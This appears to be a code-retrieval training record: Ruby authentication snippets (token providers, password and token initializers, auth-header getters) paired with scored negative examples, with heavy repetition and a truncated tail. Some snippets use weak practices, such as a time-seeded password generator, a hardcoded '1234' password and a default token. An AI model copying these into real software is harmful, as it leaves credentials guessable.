def initialize(tenant_id, client_id, username, password, settings = ActiveDirectoryServiceSettings.get_azure_settings) fail ArgumentError, 'Tenant id cannot be nil' if tenant_id.nil? fail ArgumentError, 'Client id cannot be nil' if client_id.nil? fail ArgumentError, 'Username cannot be nil' if username.nil? fail ArgumentError, 'Password cannot be nil' if password.nil? fail ArgumentError, 'Azure AD settings cannot be nil' if settings.nil? @tenant_id = tenant_id @client_id = client_id @username = username @password = password @settings = settings @expiration_threshold = 5 * 60 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(email, password)\n @email = email\n @password = password\n\n @auth_token = get_auth_token(@email, @password)\n end", "def initialize(*args)\n if (args.size == 1)\n if args[0].respond_to? :get_authentication_header\n @token_provider = args[0]\n elsif args[0].is_a? String\n @token_provider = StringTokenProvider.new args[0], DEFAULT_SCHEME\n else\n fail ArgumentError, 'Invalid argument was passed, is can be either TokenProvider or token'\n end\n elsif (args.size == 2)\n token = args[0]\n token_type = args[1]\n @token_provider = StringTokenProvider.new token, token_type\n else\n fail ArgumentError, 'Invalid number of parameters was passed to TokenCredentials constructor, valid number is 1 or 2'\n end\n end", "def create_token\n\t\tself.token = BCrypt::Password.create(User.find(self.user_id).email + Time.now.to_f.to_s)\n\tend", "def password_object\n Password.new(password_hash)\n end", "def initialize\n setup_token\n end", "def initialize(token, token_type = TokenCredentials::DEFAULT_SCHEME)\n @token = token\n @token_type = token_type\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def password\n @password ||= Password.new(password_hash)\n end", "def initialize(password)\n @password = password\n end", "def password\n @password ||= Password.new(password_digest)\n end", "def build_password_policy\n Password.new(policy: password_policy,\n endpoints: selected_endpoints)\n end", "def initialize(options = {})\n @auth_token = options[:auth_token] || self.class.auth_token\n end", "def initialize(opts = {})\n enforce_ttl = opts.has_key?(:enforce_ttl) ? opts[:enforce_ttl] : Configuration.enforce_ttl\n @token = Token.new(opts.fetch(:token),\n secret: opts.fetch(:secret),\n enforce_ttl: enforce_ttl,\n ttl: opts[:ttl],\n now: opts[:now])\n end", "def initialize(options = {})\n requires!(options, :password)\n @options = options\n super\n end", "def token\n @token ||= Token.new(config)\n end", "def init_token\n self.token = SecureRandom.hex(64) if self.token.blank?\n end", "def initialize( * )\n\t\tsuper\n\t\t@auth_provider = self.class.auth_provider.new( self )\n\tend", "def initialize(token, secret)\n @token, @secret = token, secret\n end", "def generate_token\n new_token =\n SimpleTokenAuthentication::TokenGenerator.instance.generate_token\n update(authentication_token: new_token)\n self\n end", "def initialize(tokens_and_secrets = {})\n @oauth = KynetxAmApi::Oauth.new(tokens_and_secrets)\n end", "def initialize\n auth_login_response = auth.login_with_token(EbanqApi.token,\n EbanqApi.secret)\n @auth_token = auth_login_response['token']\n end", "def initialize(username: nil, password: nil, base_uri: nil,\n token: nil, expires_at: nil)\n\n @token = token\n @expires_at = DateTime.parse(expires_at.to_s) if expires_at\n\n @username = username || Todoable.configuration.username\n @password = password || Todoable.configuration.password\n @base_uri = base_uri || Todoable.configuration.base_uri\n end", "def password\n @password ||= Password.new(self.hashed_password)\n end", "def password_token\n rng = MT19937.new(Time.now.to_i)\n password = 16.times.map { rng.extract_byte }\n base64_encode_bytes(password)\nend", "def generate_password_token\n unless self.encrypted_password && !self.encrypted_password.blank?\n pwd = Devise.friendly_token[0,20]\n self.password = pwd\n set_reset_password_token\n end\n end", "def token_provider\n # Login with a credentials file or setting the environment variables\n #\n # Typically used with a service principal.\n #\n # SPN with client_id, client_secret and tenant_id\n if client_id && client_secret && tenant_id\n ::MsRestAzure2::ApplicationTokenProvider.new(tenant_id, client_id, client_secret, ad_settings)\n # Login with a Managed Service Identity.\n #\n # Typically used with a Managed Service Identity when you have a particular object registered in a tenant.\n #\n # MSI with client_id and tenant_id (aka User Assigned Identity).\n elsif client_id && tenant_id\n ::MsRestAzure2::MSITokenProvider.new(50342, ad_settings, { client_id: client_id })\n # Default approach to inheriting existing object permissions (application or device this code is running on).\n #\n # Typically used when you want to inherit the permissions of the system you're running on that are in a tenant.\n #\n # MSI with just tenant_id (aka System Assigned Identity).\n elsif tenant_id\n ::MsRestAzure2::MSITokenProvider.new(50342, ad_settings)\n # Login using the Azure CLI\n #\n # Typically used when you want to rely upon `az login` as your preferred authentication method.\n else\n warn(\"Using tenant id set through `az login`.\")\n ::MsRestAzure2::AzureCliTokenProvider.new(ad_settings)\n end\n end", "def initialize(email, password)\n self.email = email\n self.password = password\n end", "def initialize(access_token)\n self.class.basic_auth access_token, nil\n end", "def initialize(attributes = nil)\n super\n @new_password = false\n end", "def pass\n @pass ||= Password.new(self.password)\n end", "def setup_token\n token = SecureRandom.hex(16)\n @token = token\n token\n end", "def initialize(code: nil, login: nil, password: nil)\n # code (arg) - exchange for access token\n @authenticator = if code.present?\n Oauth.new(code)\n else\n Standard.new(login, password)\n end\n\n end", "def password\n @password ||= ::BCrypt::Password.new(password_digest)\n end", "def initialize(email, password)\n response = self.class.post(api_url(\"sessions\"), body: { email: email, password: password })\n raise 'Invalid email or password' if response.code == 404\n @auth_token = response[\"auth_token\"]\n\n end", "def initialize(token = nil)\n @token = token\n end", "def token_s\n @manager_s[:password]\n end", "def initialize(args)\n if args.respond_to?(:keys)\n @password = args.delete(:password)\n end\n super(args)\n if @password\n self.send(:password=)\n else\n @password = ShadowHash.create_from_user_record(self)\n end\n end", "def generate_password_token!\n self.reset_password_token = generate_token\n self.reset_password_sent_at = Time.now.utc\n self.save(validate: false)\n end", "def initialize(token)\n @token = token.freeze\n end", "def initialize(options = {})\n @password = options.fetch(:password, nil)\n @salt = options.fetch(:salt, nil)\n\n yield self if block_given?\n end", "def set_internal_token!\n self.token ||= generate_token\n end", "def initialize(email, password)\n # This gets the response object. We only want the auth_token from it. So we will have to\n # query the response for it.\n response = self.class.post(\"https://www.bloc.io/api/v1/sessions\", body: { email: email, password: password })\n # query the response object for the auth_token. And assign it to @auth_token.\n @auth_token = response['auth_token']\n end", "def password\n @password = Password.new(password_hash) unless password_hash.blank?\n end", "def initialize(email, password)\n @email = email\n @password = password\n end", "def initialize(email, password)\n @email = email\n @password = password\n end", "def initialize(email, password)\n @email = email\n @password = password\n end", "def initialize(email, password)\n @email = email\n @password = password\n end", "def initialize(email, password)\n @email = email\n @password = password\n end", "def generate_token\n token_gen = SecureRandom.hex\n self.token = token_gen\n token_gen\n end", "def initialize(email_id, password)\n @email_id = email_id\n @password = password\n end", "def set_token\n self.token ||= encrypted_data\n end", "def generate_password_token!\n\t\tself.reset_password_token\t= generate_token\n\t\tself.reset_password_sent_at\t= Time.now\n\t\tsave!\n\tend", "def initialize(x_auth_token: '123abcqwerty')\r\n Configuration.x_auth_token = x_auth_token\r\n end", "def initialize(token) \n self.token_set = token\n end", "def initialize(project, password)\n @project, @password = project, password\n end", "def create\n user = User.find_for_authentication(email: user_params[:email])\n\n if user && user.valid_password?(user_params[:password])\n user.generate_authentication_token\n\n expose({\n user_id: user.id,\n token: user.authentication_token\n })\n else\n error! :unauthenticated\n end\n end", "def initialize(email, password)\n @email = email\n @password = password\n end", "def initialize(email, password)\n @email = email\n @password = password\n end", "def initialize email,token\n super(email, token)\n end", "def set_password\n @password = Password.last\n @new_password = Password.new\n end", "def create_api_token\n begin\n ApiToken.create(api_consumer: self)\n end\n end", "def password\n\t\tPassword.new( attribute_get(:password) )\n\tend", "def initialize(email, password)\n @email = email\n @password = password\n end", "def initialize(user, password)\n @user = user\n @password = password\n\n # In the constructor, try to authenticate and get the access_token and\n # client_id\n authenticate\n end", "def initialize(token)\n @token = token\n end", "def initialize(token)\n @token = token\n end", "def initialize(password_hash)\n self.bcrypt_password = ::BCrypt::Password.new(password_hash)\n rescue ::BCrypt::Errors::InvalidHash\n self.bcrypt_password = NullPassword.new\n end", "def initialize(token)\n\t\t@token = token\n\tend", "def authenticate_local(provided_password)\n if self.password.blank?\n return false\n end\n pass = BCrypt::Password.new(self.password)\n if(pass == provided_password)\n token_object = generate_token\n return token_object.token\n end\n false\n end", "def create_password\n self.uuid = TempPassword.get_uuid\n self.hashed_uuid = Digest::SHA1.hexdigest(uuid)\n end", "def initialize(token: nil)\n @host = DEFAULT_HOST\n @port = DEFAULT_PORT\n @version = DEFAULT_VERSION\n @token = token\n end", "def set_token\n self.token = SecureRandom.hex(16)\n end", "def set_token\n self.token = SecureRandom.hex(16)\n end", "def initialize(token)\n @token = token\n end", "def initialize(token)\n @token = token\n end", "def random_password\n chars = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n password = ''\n #40.times { |i| password << chars[rand(chars.size-1)] }\n 15.times { |i| password << chars[rand(chars.size-1)] }\n self.password = password\n self.password_confirmation = password\n self.pwd = password\n self\n end", "def password=( new_password )\n\t\tself.authentication_token = generate_authentication_token\n\t\tsuper\n\tend", "def create\n self.resource = resource_class.find_or_initialize_with_errors(reset_password_keys, resource_params, :not_found)\n resource.ensure_reset_password_token!\n end", "def initialize(digest)\n digest = digest.to_s\n\n # FIXME: Behavior duplicated by HashFormat guard clause, remove here?\n raise Argon2::Errors::InvalidHash unless valid_hash?(digest)\n\n # Split the digest into its component pieces\n split_digest = split_hash(digest)\n # Assign each piece to the Argon2::Password instance\n @digest = digest\n @variant = split_digest[:variant]\n @version = split_digest[:version]\n @t_cost = split_digest[:t_cost]\n @m_cost = split_digest[:m_cost]\n @p_cost = split_digest[:p_cost]\n @salt = split_digest[:salt]\n @checksum = split_digest[:checksum]\n end", "def random_password\n chars = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n password = ''\n 40.times { |i| password << chars[rand(chars.size-1)] }\n self.password = password\n self.password_confirmation = password\n self\n end", "def generate_auth_token\n token = AuthToken.new(user: self)\n token if token.save\n end", "def initialize(password:, confirmation:, code:)\n @password = password\n @confirmation = confirmation\n @code = code\n super(nil)\n end", "def initialize(token:)\n @token = token\n end", "def initialize(email, password)\n @email = email\n @password = password\n\n # auth in\n res = Client.post(\"sessions\", {email: @email, password: @password})\n Client.token = res[:token]\n Client.password = @password\n end", "def initialize(token)\n @token = token\n end", "def get_password\n self.reload\n Password.new(self.password)\n end", "def new\n @provider = Provider.new\n end", "def initialize(otp, key)\n raise InvalidOTPError, 'OTP must be at least 32 characters of modhex' unless otp.modhex? && otp.length >= 32\n raise InvalidKeyError, 'Key must be 32 hex characters' unless key.hex? && key.length == 32\n\n # Get the public ID first\n @public_id = otp[0, 12]\n\n # Strip prefix so otp will decode (following from yubico-c library)\n otp = otp[-32,32] if otp.length > 32\n\n @token = Yubikey::ModHex.decode(otp[-32,32])\n @aes_key = key.to_bin\n\n decrypter = OpenSSL::Cipher.new('AES-128-ECB').decrypt\n decrypter.key = @aes_key\n decrypter.padding = 0\n\n @token = decrypter.update(@token) + decrypter.final\n\n raise BadCRCError unless crc_valid?\n\n @secret_id, @insert_counter, @timestamp, @timestamp_lo, @session_counter, @random_number, @crc = @token.unpack('H12vvCCvv')\n @timestamp += @timestamp_lo * 65536\n end", "def initialize(email, password = nil)\n @email = email\n @password = password\n end", "def generate_password\n self.password = \"1234\"\n end" ]
[ "0.63866836", "0.6321277", "0.62741756", "0.6256599", "0.61785", "0.6137156", "0.61294466", "0.61294466", "0.61294466", "0.61294466", "0.61294466", "0.61294466", "0.61294466", "0.61294466", "0.61294466", "0.61294466", "0.61294466", "0.61294466", "0.61294466", "0.6121393", "0.60511726", "0.60164356", "0.6013698", "0.6013477", "0.5958955", "0.5958506", "0.5952239", "0.59451294", "0.59428966", "0.58468926", "0.5836846", "0.5816442", "0.5806013", "0.57946986", "0.5786815", "0.5707105", "0.57021546", "0.5658221", "0.56477726", "0.56349266", "0.5628979", "0.56235445", "0.5622173", "0.5607115", "0.5590643", "0.558525", "0.5584495", "0.55803806", "0.55727875", "0.55558264", "0.5554604", "0.55538344", "0.5543658", "0.5540731", "0.55323917", "0.55323917", "0.55323917", "0.55323917", "0.55323917", "0.5529661", "0.55206895", "0.55134887", "0.5509725", "0.55081177", "0.5505126", "0.5495894", "0.5493401", "0.54931015", "0.54931015", "0.5481516", "0.5477502", "0.5469378", "0.5464963", "0.5464599", "0.54574573", "0.54573745", "0.54573745", "0.5452394", "0.5443655", "0.5442167", "0.5437045", "0.5434073", "0.54322034", "0.54322034", "0.54315305", "0.54315305", "0.5429636", "0.5417333", "0.5414419", "0.5412392", "0.5408337", "0.54062986", "0.5402944", "0.5401231", "0.5395198", "0.5392328", "0.5385276", "0.53819263", "0.5377217", "0.5377007", "0.5374896" ]
0.0
-1
Returns the string value which needs to be attached to HTTP request header in order to be authorized.
def get_authentication_header acquire_token if token_expired "#{token_type} #{token}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def auth_header\n # headers: { 'Authorization': 'Bearer <token>' }\n\n request.headers['Authorization']\n # => 'Bearer <token>'\n end", "def auth_header\n request.headers['Authorization']\n end", "def auth_header\n\t\t# { Authorization: 'Bearer <token>' }\n\t\trequest.headers['Authorization']\n\tend", "def auth_header\n request.headers['Authorization']\n end", "def auth_header\n # { Authorization: 'Bearer <token>' }\n request.headers['Authorization']\n end", "def auth_header\n request.headers['Authorization']\n end", "def auth_header\n request.headers['Authorization']\n end", "def auth_header\n request.headers['Authorization']\n end", "def get_authentication_header\n \"#{token_type} #{token}\"\n end", "def header_token\n request.headers['Authorization'].split(' ').last\n end", "def oauth_header(request)\n SimpleOAuth::Header.new(request.method, request.uri, URI.decode_www_form(request.body), credentials).to_s\n end", "def get_authentication_header\n acquire_token if token_expired?\n \"#{token_type} #{token}\"\n end", "def http_auth_header\n\t \tif headers['Authorization'].present?\n\t \t\treturn headers['Authorization'].split(' ').last\n\t \tend\n\t \traise MissingToken.new(message:\"Missing token. Please provide a security token.\")\n\tend", "def auth_header # gets the authorization header from the request\n # { Authorization: 'Bearer <token>' }\n request.headers['Authorization']\n end", "def auth_header\n { :token => @token, :seq => @seqid }\n end", "def authorization_header\n @authorization_header ||= env['HTTP_AUTHORIZATION']\n end", "def jwt_auth_header\n { Authorization: \"Bearer #{Quovo::Token.get}\" }\n end", "def generate_request_header()\n request_header = super()\n #puts \"--------------- generate_request_header >> request_header >>\\n#{request_header}\"\n credentials = @credential_handler.credentials\n #puts \"--------------- generate_request_header >> credentials >>\\n#{credentials}\"\n #request_header['authToken'] = @auth_handler.get_token(credentials)\n credentials.each {|k,v| request_header[prepend_namespace(k.to_s.camelize)] = v}\n request_header.select!{|k,_| ['ApplicationToken', 'CustomerAccountId', 'CustomerId', 'DeveloperToken', 'UserName', 'Password'].map{|h| prepend_namespace(h)}.include?(k.to_s)}\n #puts \"--------------- generate_request_header >> request_header final >>\\n#{request_header}\"\n return request_header\n end", "def header(key)\n return false unless headers.key?(key)\n\n headers.fetch(key).first.to_s\n end", "def http_auth_header\n request.headers['Authorization'].present? ? request.headers['Authorization'].split(' ').last : nil\n end", "def auth_token\n\t\trequest.headers['X-AUTH-TOKEN']\n\tend", "def request_header(&block)\n value = original_request_header(&block)\n\n if value.is_a?(String)\n value = Headers::Authorization.parse(value)\n end\n\n value\n end", "def http_auth_header\n if header['Authorization'].present?\n return header['Authorization'].split(' ').last\n end\n raise(ExceptionHandler::MissingToken, 'Missing_token') #should be refactored into a singleton class man \n end", "def header\n header = request.env['HTTP_AUTHORIZATION']\n return nil unless header\n\n header.scan(/Bearer (.*)$/).flatten.last\n end", "def token\n request.headers['Authorization']\n end", "def http_auth_header\n if headers['Authorization'].present?\n return headers['Authorization'].split(' ').last\n end\n\n raise(ExceptionHandler::MissingToken, Message.missing_token)\n end", "def http_auth_header_content\n return @http_auth_header_content if defined? @http_auth_header_content\n @http_auth_header_content = begin\n if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n else\n nil\n end\n end\n end", "def http_auth_header_content\n return @http_auth_header_content if defined? @http_auth_header_content\n @http_auth_header_content = begin\n if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n else\n nil\n end\n end\n end", "def http_auth_header_content\n return @http_auth_header_content if defined? @http_auth_header_content\n @http_auth_header_content = begin\n if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n else\n nil\n end\n end\n end", "def http_auth_header_content\n return @http_auth_header_content if defined? @http_auth_header_content\n @http_auth_header_content = begin\n if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n else\n nil\n end\n end\n end", "def http_auth_header_content\n return @http_auth_header_content if defined? @http_auth_header_content\n @http_auth_header_content = begin\n if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n else\n nil\n end\n end\n end", "def http_auth_header\n if headers['Authorization'].present?\n return headers['Authorization'].split(' ').last\n else\n errors.add(:token, 'Missing Token')\n end\n nil\n end", "def token\n request.headers[\"Authorization\"]\n end", "def header_value\n return @header_value\n end", "def header(name, value)\n name = name.upcase\n name.tr!('-', '_')\n name = \"HTTP_#{name}\" unless name == 'CONTENT_TYPE' || name == 'CONTENT_LENGTH'\n env(name, value)\n end", "def sanitize_header(header, value)\n value\n end", "def header(name)\n rack_header = \"http-#{name}\".upcase!.tr('-', '_')\n\n hdr = @env[rack_header]\n\n # Only return the value if it is not an empty string\n hdr if hdr != ''\n end", "def header_for(http)\n @basic_auth_credentials\n end", "def http_auth_header_content\n\t\t\treturn @http_auth_header_content if defined? @http_auth_header_content\n\t\t\t@http_auth_header_content = begin\n\t\t\t\tif request.headers['Authorization'].present?\n\t\t\t\t\trequest.headers['Authorization'].split(' ').last\n\t\t\t\telse\n\t\t\t\t\tnil\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def header(name)\n name = name.gsub(/-/, \"_\").upcase\n return request.env[name] if request.env.key?(name)\n request.env[\"HTTP_#{name}\"]\n end", "def auth_header\n { 'Authorization': \"Bearer #{@auth.token}\" }.with_indifferent_access\n end", "def http_auth_token\n request.headers['Authorization']&.split(' ')&.last\n end", "def authorization_header\n \"Basic #{Base64.encode64(\"#{@username}:#{@password}\").chomp!}\"\n end", "def authorization_header\n \"Basic #{Base64.encode64(\"#{@username}:#{@password}\").delete(\"\\r\\n\")}\"\n end", "def authorization_token\n @authorization_token ||= request.headers['Authorization']&.split(' ')&.last\n end", "def auth_header\n @token.empty? ? '' : \"cobSession=#{@cobrand_session.token},userSession=#{@token}\"\n end", "def get_token\n request.headers[\"Authorization\"]\n end", "def http_auth_token\n auth_token = request.env[\"HTTP_AUTHORIZATION\"]\n auth_token.split(\" \").last if auth_token.present? && auth_token.split(\" \").first.downcase == \"bearer\"\n end", "def generate_request_header()\n headers = @auth_handler.headers(@credential_handler.credentials(@version))\n return headers.inject({}) do |request_header, (header, value)|\n request_header[prepend_namespace(header)] = value\n request_header\n end\n end", "def auth_token\n @auth_token ||= request.headers.fetch('Authorization', '').split(' ').last\n end", "def digest\n @request.header('Authorization')\n end", "def extract_header_token(env)\n BEARER_TOKEN_REGEX.match(env['HTTP_AUTHORIZATION'])&.[](1)\n end", "def get_header name\n request_object.headers[name]\n end", "def header\n { \"Authorization\" => 'Bearer ' + request_access_token.token }\n end", "def value\n @header.input.value.to_s.strip\n end", "def getHeader\n #updateToken\n {'Content-Type' => 'application/json', 'Authorization' => 'Bearer ' + @token}\n end", "def generate_auth_header(params)\n auth_header_value = \"\"\n params.each_pair{|key, value|\n auth_header_value += \",\" if auth_header_value.length > 0\n auth_header_value += \"#{key.urlencode}=\\\"#{value.urlencode}\\\"\"\n }\n\n return auth_header_value\n end", "def bearer_auth_header\n \"Bearer #{access_token}\"\n end", "def header(name)\n req = request\n return nil unless req\n req.env[name]\n end", "def http_auth_header\n return headers['Authorization'].split(' ').last if headers['Authorization'].present?\n\n raise(API::JWTExceptionHandler::MissingToken, APIMessages.missing_token)\n end", "def auth_header\n if token\n { \"Authorization\" => \"Bearer #{token}\" }\n else\n {}\n end\n end", "def header(key)\n return false unless @args.fetch(:headers).key?(key)\n @args.fetch(:headers).fetch(key).first.to_s\n end", "def auth_token\n Auth.decode(header_token)\n end", "def http_token\n @http_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end", "def http_auth_token\n @http_auth_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end", "def extract_bearer_token(request)\n if request.headers['Authorization'].present?\n token = request.headers['Authorization'].split.last\n token.gsub!(/(\\'|\\\")/, '')\n token\n end\n end", "def rack_helper(header)\n \"HTTP_#{header.to_s.upcase.gsub(/[-\\s]/, '_')}\"\n end", "def authorization_header\n [\n \"AWS4-HMAC-SHA256\",\n \"Credential=#{credentials.aws_key}/#{request_datestamp}/#{region}/#{service}/aws4_request,\",\n \"SignedHeaders=#{signed_headers.join(\";\")},\",\n \"Signature=#{signature.to_s}\"\n ].join(\" \")\n end", "def header_data\n\t\treturn self.normalized_headers.to_s\n\tend", "def http_auth_token\n @http_auth_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end", "def auth_header\n \"Basic #{Base64.strict_encode64(\"#{@client.api_key}:#{@client.api_secret}\")}\"\n end", "def get_header()\r\n return {\r\n 'Content-Type' => 'application/x-www-form-urlencoded',\r\n }\r\n end", "def build_auth_header\n \"BoxAuth api_key=#{@api_key}&auth_token=#{@auth_token}\"\n end", "def api_key\n request.headers['HTTP_AUTHORIZATION']\n end", "def authorization_header\n { 'Authorization' => \"Zoho-oauthtoken #{@access_token}\" }\n end", "def http_auth_header?; end", "def authorized_by_to_s\n unless authorized_by.nil?\n r = authorized_by.name\n r = \"#{r} via #{api_key.name}\" unless api_key.nil?\n else\n r = ' - '\n r = \"Unknown via #{api_key.name}\" unless api_key.nil?\n end\n r\n end", "def encode_header(s); s; end", "def authorization(method, url, params)\n SimpleOAuth::Header.new(method, url, params, @credentials).to_s\n end", "def token\r\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\r\n\r\n # allows our tests to pass\r\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\r\n\r\n if bearer.present?\r\n bearer.split.last\r\n else\r\n nil\r\n end\r\n end", "def token(request)\n request[config.class.query_parameter] || request.env[header_to_env]\n end", "def header(name)\n @responseheaders[name.downcase]\n end", "def authentication_token\n @authentication_token ||= authorization_header.gsub(BEARER_PATTERN, '')\n end", "def formulate_auth_header(signature)\n \"Apex_l2_Eg realm=\\\"#{@realm}\\\",apex_l2_eg_app_id=\\\"#{@app_id}\\\",\"\\\n \"apex_l2_eg_nonce=\\\"#{@nonce}\\\",apex_l2_eg_signature_method=\\\"SHA256withRSA\\\",\"\\\n \"apex_l2_eg_signature=\\\"#{signature}\\\",apex_l2_eg_timestamp=\\\"#{@timestamp}\\\",apex_l2_eg_version=\\\"1.0\\\"\"\n end", "def jwt_from_header\n @jwt_from_header ||= request.headers[Config.jwt_header].to_s.sub(TOKEN_REGEX, '')\n end", "def get_jwt_from_header(request)\n return nil if request.nil?\n\n header = request.headers['Authorization']\n return nil if header.nil?\n\n auth_type, token = header.to_s.split(' ')\n auth_type == 'Bearer' ? token : nil\n end", "def request_headers; end", "def request_headers; end", "def http_auth_token\n\n @http_auth_token ||= if request.headers.present?\n request.headers[\"HTTP_AUTH_TOKEN\"]\n end\n end", "def token\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\n\n # allows our tests to pass\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\n\n if bearer.present?\n bearer.split.last\n else\n nil\n end\n end", "def token\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\n\n # allows our tests to pass\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\n\n if bearer.present?\n bearer.split.last\n else\n nil\n end\n end", "def header_str\n \"\"\n end", "def auth_headers\n {\n 'Content-Type' => 'application/x-www-form-urlencoded'\n }\n end", "def bearer_token\n header = request.env[\"HTTP_AUTHORIZATION\"]\n pattern = /^Bearer /\n header.gsub(pattern, \"\") if header && header.match(pattern)\n end", "def api_key_header\n {'X-API-KEY' => 'some_api_key'}\n end", "def query_string\n (authenticate? && authenticable?) ? signed_query_string : unsigned_query_string\n end", "def header(name)\n @env.response_headers[name]\n end", "def header_str_with_tingyun\n if self._ty_serial\n self._ty_header_str\n else\n # Since we didn't install a header callback for a non-serial request,\n # just fall back to the original implementation.\n header_str_without_tingyun\n end\n end", "def request_headers\n @attributes[:request_headers]\n end", "def human_auth_method\n self[:auth_method].to_human\n end" ]
[ "0.73940784", "0.72496825", "0.7240007", "0.72114575", "0.7171801", "0.71541965", "0.71541965", "0.71536463", "0.713994", "0.7013966", "0.6953349", "0.68860185", "0.6785362", "0.67773914", "0.67727166", "0.67509466", "0.67461044", "0.67419046", "0.673874", "0.6724939", "0.672005", "0.6709597", "0.670588", "0.6662505", "0.666187", "0.66596514", "0.6648338", "0.6648338", "0.6648338", "0.6648338", "0.6648338", "0.66417885", "0.663359", "0.6618995", "0.66059566", "0.65770507", "0.65730226", "0.6560989", "0.6546948", "0.6546632", "0.6543748", "0.6540986", "0.652632", "0.6502706", "0.6492988", "0.6492463", "0.6490897", "0.64868045", "0.6479221", "0.6478264", "0.6457611", "0.64326006", "0.6418954", "0.6403447", "0.6402776", "0.63847107", "0.6375205", "0.63709617", "0.63427013", "0.63164055", "0.6312729", "0.6306906", "0.62713236", "0.6259618", "0.6255083", "0.623573", "0.6226035", "0.62207055", "0.6218062", "0.6186089", "0.61843264", "0.61780995", "0.6158716", "0.6140019", "0.61358", "0.6101223", "0.6080119", "0.6055377", "0.60512453", "0.604956", "0.60465866", "0.6026056", "0.6024139", "0.6011634", "0.6000755", "0.5998413", "0.5992279", "0.5992279", "0.59874094", "0.59835297", "0.59835297", "0.596741", "0.5951176", "0.5945029", "0.5938595", "0.5933309", "0.5932669", "0.5931461", "0.59285575", "0.59059036" ]
0.6912637
11
Checks whether token is about to expire.
def token_expired @token.nil? || Time.now >= @token_expires_on + expiration_threshold end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def token_expired?\n @token.nil? || Time.now >= @token_expires_on + expiration_threshold\n end", "def token_expired?\n return true\n expires_at < Time.now if expires_at?\n end", "def token_expired?\n self.expires < Time.zone.now.to_i\n end", "def expired?(token)\n expires_on = token[/&?ExpiresOn=([^&]+)/, 1]\n expires_on.to_i < Time.now.to_i\n end", "def is_token_expired?\n (Time.now - self.updated_at) > 3300\n end", "def expired?\n @token.expired?(@expires_in_buffer)\n end", "def access_token_expired?\n Time.zone.now >= self.expires_at\n end", "def access_token_expired?\n Time.zone.now >= self.expires_at\n end", "def check_validity\n if @expires_at == nil\n raise OAuthSessionError, \"Expiration not properly initialized.\"\n end\n if @expires_at < Time.new\n if not do_refresh\n raise OAuthSessionError, \"Token could not be refreshed.\"\n end\n end\n return true\n end", "def access_token_expired?\n\t\t\t\treturn false if self.expires_at.nil?\n\n\t\t\t\t# Expiration date less than now == expired\n\t\t\t\tself.expires_at < Time.now\n\t\t\tend", "def access_token_expired?\n\t\taccess_token_expires_at && access_token_expires_at < Time.zone.now\n\tend", "def token_valid?\n @session_token and @toodle_token_death > Time.now\n end", "def valid_token?\r\n token = ::AuthToken.where(user_id: decoded_auth_token[:user_id]).newer.first\r\n token&.token == auth_token && token.expire_at >= Time.now if token.present?\r\n end", "def expired?\n can_expire? && @expiry < Time.now.to_i\n end", "def expired?\n Time.now > expiration if expiration\n end", "def expired?\n Time.current >= expires_at\n end", "def expired?\n Time.now > @expires\n end", "def validate_token(provided_token)\n clear_expired_tokens\n token_object = access_tokens.find_by_token(provided_token)\n return false if !token_object\n token_object.update_attribute(:token_expire, Time.now + DEFAULT_TOKEN_EXPIRE)\n true\n end", "def expired?\n can_expire? && (self.expires_in + self.time_created) < Time.now.to_i\n end", "def isTokenExpired\n if Time.now.to_i - @access_token_timestamp >= access_token_expires\n puts \"had to reauthenticate\"\n self.authenticate\n end\n end", "def expired?\n if expires?\n Time.now >= expires_at\n else\n false\n end\n end", "def expired?\n !respond_to?(:expires_at) || expires_at < Time.current\n end", "def expired?\n @expires_at <= Time.now\n end", "def expired?\n expires_at && Time.now > expires_at\n end", "def validate_token\n if self.transaction_token_created_at + 720.minutes > Time.now\n true\n else\n false\n end\n end", "def expired?\n DateTime.now > @expires\n end", "def expired?\n expires? && (expires_at < Time.now.to_i)\n end", "def validate_token(provided_token, extend_expire = true)\n clear_expired_tokens\n token_object = access_tokens.find_by_token(provided_token)\n return false if !token_object\n if extend_expire\n token_object.update_attribute(:token_expire, Time.now + DEFAULT_TOKEN_EXPIRE)\n end\n true\n end", "def expired?\n expires_at && expires_at <= Time.now\n end", "def expired?\n Time.now > @expiration if @expiration\n end", "def expired?\n self.expires_at && Time.now > self.expires_at\n end", "def expired?\n return true if expires - Time.now <= 0\n return false\n end", "def expired?\n expires && expires < Time.now\n end", "def expired?\n !expires_at.nil? && Time.now >= expires_at\n end", "def expired?\n expires? && (Time.now > expires_at)\n end", "def expired?\n self.expires_at && Time.now.utc > self.expires_at\n end", "def expired?\n self.expires_on? and self.expires_on < Time.now\n end", "def expired?\n return false unless expires_at\n expires_at < Time.now\n end", "def expired?\n return true if authentication.nil?\n\n authentication.expires_at < 2.days.from_now\n end", "def 